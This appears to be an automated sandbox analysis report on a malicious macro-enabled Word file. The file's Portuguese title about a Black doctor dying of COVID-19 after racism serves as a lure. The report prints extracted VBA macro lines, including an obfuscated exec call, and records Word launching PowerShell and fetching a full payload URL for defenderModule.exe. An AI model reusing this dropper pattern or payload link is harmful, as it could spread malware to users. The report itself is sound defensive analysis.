Analysis Report Medica negra morre covid-19 apos racismo.docm

AV Detection:

Multi AV Scanner detection for submitted file

Source: Medica negra morre covid-19 apos racismo.docm

ReversingLabs: Detection: 25%

Machine Learning detection for sample

Source: Medica negra morre covid-19 apos racismo.docm

Joe Sandbox ML: detected

Spreading:

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: bitbucket.org

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 104.192.141.1:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 104.192.141.1:443

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 104.192.141.1 104.192.141.1

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B4F476E3-97C0-4A14-814E-1968BCE52029}.tmp

Jump to behavior

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: bitbucket.org

Urls found in memory or binary data

Source: powershell.exe, 00000002.00000002.2083246002.00000000023C0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000002.00000002.2083246002.00000000023C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000002.00000002.2082404358.000000000033E000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 00000002.00000002.2086022853.00000000037F1000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000002.00000002.2086064545.0000000003817000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/s
Source: powershell.exe, 00000002.00000002.2086064545.0000000003817000.00000004.00000001.sdmp, powershell.exe, 00000002.00000002.2085550986.00000000036AA000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emi
Source: powershell.exe, 00000002.00000002.2086064545.0000000003817000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emilia/on
Source: powershell.exe, 00000002.00000002.2086064545.0000000003817000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslav
Source: powershell.exe, 00000002.00000002.2086064545.0000000003817000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslave/down
Source: powershell.exe, 00000002.00000002.2085550986.00000000036AA000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defen
Source: vbaProject.bin	String found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe
Source: powershell.exe, 00000002.00000002.2085550986.00000000036AA000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exePEH
Source: powershell.exe, 00000002.00000002.2086039982.0000000003803000.00000004.00000001.sdmp	String found in binary or memory: https://bitbucket.orgp

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

System Summary:

Document contains an embedded VBA macro which may execute processes

Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, FalseSet objAdminIS = CreateObject("Microsoft.ISAdm")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: WshShell.Run "firefox.exe sample.html", 1, False
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: ws2asd.exec (str1 + str2 + str3 + str)

Document contains an embedded VBA macro with suspicious strings

Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo n
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: folder = Left(Wscript.ScriptFullName, InStrRev(Wscript.ScriptFullName, "\"))
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Set Shell = CreateObject("Wscript.Shell")
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
